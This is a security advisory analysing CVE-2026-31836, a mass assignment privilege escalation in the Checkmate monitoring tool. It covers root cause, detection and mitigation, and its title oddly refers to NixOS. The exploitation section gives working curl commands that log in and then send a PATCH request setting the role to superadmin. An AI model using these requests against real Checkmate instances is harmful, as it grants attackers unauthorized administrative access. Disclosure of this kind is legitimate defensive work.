CVE-2026-31836: 
NixOS vulnerability analysis and mitigation

CVE-2026-31836 is a mass assignment privilege escalation vulnerability in Checkmate, an open-source self-hosted server monitoring tool by Bluewave Labs. Any authenticated user can escalate their privileges to superadmin by sending a crafted PATCH request to the user profile update endpoint, bypassing all role-based access controls. The vulnerability affects Checkmate versions 3.5.1 and earlier. It was published on March 20, 2026, with a CVSS v3.1 base score of 8.1 (High) (GitHub Advisory, Red Hat CVE).

The root cause lies in the editUser function within server/controllers/authController.js, which handles the PATCH /api/v1/auth/user endpoint. Although the function invokes Zod schema validation (userUpdateSchema.parse(req.body)) — which is configured with .strip() to remove unauthorized fields such as role — the validated result is never used. Instead, the raw req.body is passed directly to MongoDB's $set operator, allowing any field in the request body, including the privileged role field, to be written to the database. This constitutes a classic mass assignment flaw (CWE-269: Improper Privilege Management; CWE-285: Improper Authorization), where server-side validation is effectively a no-op (GitHub Advisory).

Successful exploitation allows any authenticated user — even one with the lowest privilege level — to instantly gain superadmin access to the Checkmate application. With superadmin privileges, an attacker can view all registered users, modify critical system configurations, and access sensitive monitoring data including server hardware details, uptime records, and incident logs. There is no availability impact, but confidentiality and integrity are both fully compromised at the application level (GitHub Advisory, Red Hat CVE).

A proof-of-concept exploit consisting of concrete curl commands is publicly available in the GitHub Security Advisory, making exploitation trivial for any authenticated user (GitHub Advisory). The attack requires only a valid low-privilege account and network access to the Checkmate instance — no special tools or elevated starting permissions are needed. The EPSS score is approximately 0.028%, indicating low current automated exploitation probability, and there is no evidence of in-the-wild exploitation or CISA KEV catalog inclusion at this time (Red Hat CVE).

1. Obtain a valid account: Register or obtain credentials for any low-privilege user account on the target Checkmate instance.
2. Authenticate and capture the JWT token: Send a POST request to the login endpoint and extract the Bearer token from the response:

   curl -X POST http://<target>:52345/api/v1/auth/login \
     -H "Content-Type: application/json" \
     -d '{"email":"user@checkmate.local","password":"Password123!"}'

3. Send malicious PATCH request: Use the captured token to send a PATCH request to the user profile endpoint, injecting the role field set to superadmin:

   curl -X PATCH 'http://<target>:52345/api/v1/auth/user' \
     -H 'Content-Type: application/json' \
     -H 'Authorization: Bearer <token>' \
     -d '{"role":"superadmin"}'

4. Verify privilege escalation: Log in again with the same credentials; the account now has superadmin privileges, granting full administrative access to all users, configurations, and system data (GitHub Advisory).

• Network: Unexpected PATCH requests to /api/v1/auth/user containing a role field (e.g., "role":"superadmin") in the request body from non-administrative user accounts.
• Logs: Application logs showing a user account transitioning to superadmin role without an administrative action; repeated login events from the same account shortly after a profile update request.
• Application Behavior: Low-privilege user accounts suddenly appearing with superadmin capabilities in the Checkmate admin panel; unexpected access to user management or configuration pages by non-admin accounts.
• Database: MongoDB audit logs (if enabled) showing $set operations on user documents that include a role field update originating from a non-admin user session (GitHub Advisory).

At the time of the original advisory publication, no patched version was available for Checkmate ≤3.5.1; however, a patch has since been referenced via GitHub Security Advisory GHSA-6368-x7wr-wpm2, and users should update to a version newer than 3.5.1 (GitHub Advisory). As a workaround, administrators should implement server-side validation that uses the sanitized output of the Zod schema (i.e., replace req.body with the result of userUpdateSchema.parse(req.body) in the $set call) and explicitly block the role field from being modified via the user profile endpoint. Additionally, restrict network access to the Checkmate instance to trusted users only, and audit existing user accounts for unauthorized superadmin role assignments.

The vulnerability was credited to researchers theamanrawat and neo-ai-engineer in the GitHub Security Advisory (GitHub Advisory). Social media activity was noted on Bluesky, with posts referencing the CVE shortly after disclosure. A blog post on undercodetesting.com also covered Checkmate security issues in the context of this and related vulnerabilities. Overall community reaction was moderate, consistent with a self-hosted open-source tool with a niche user base.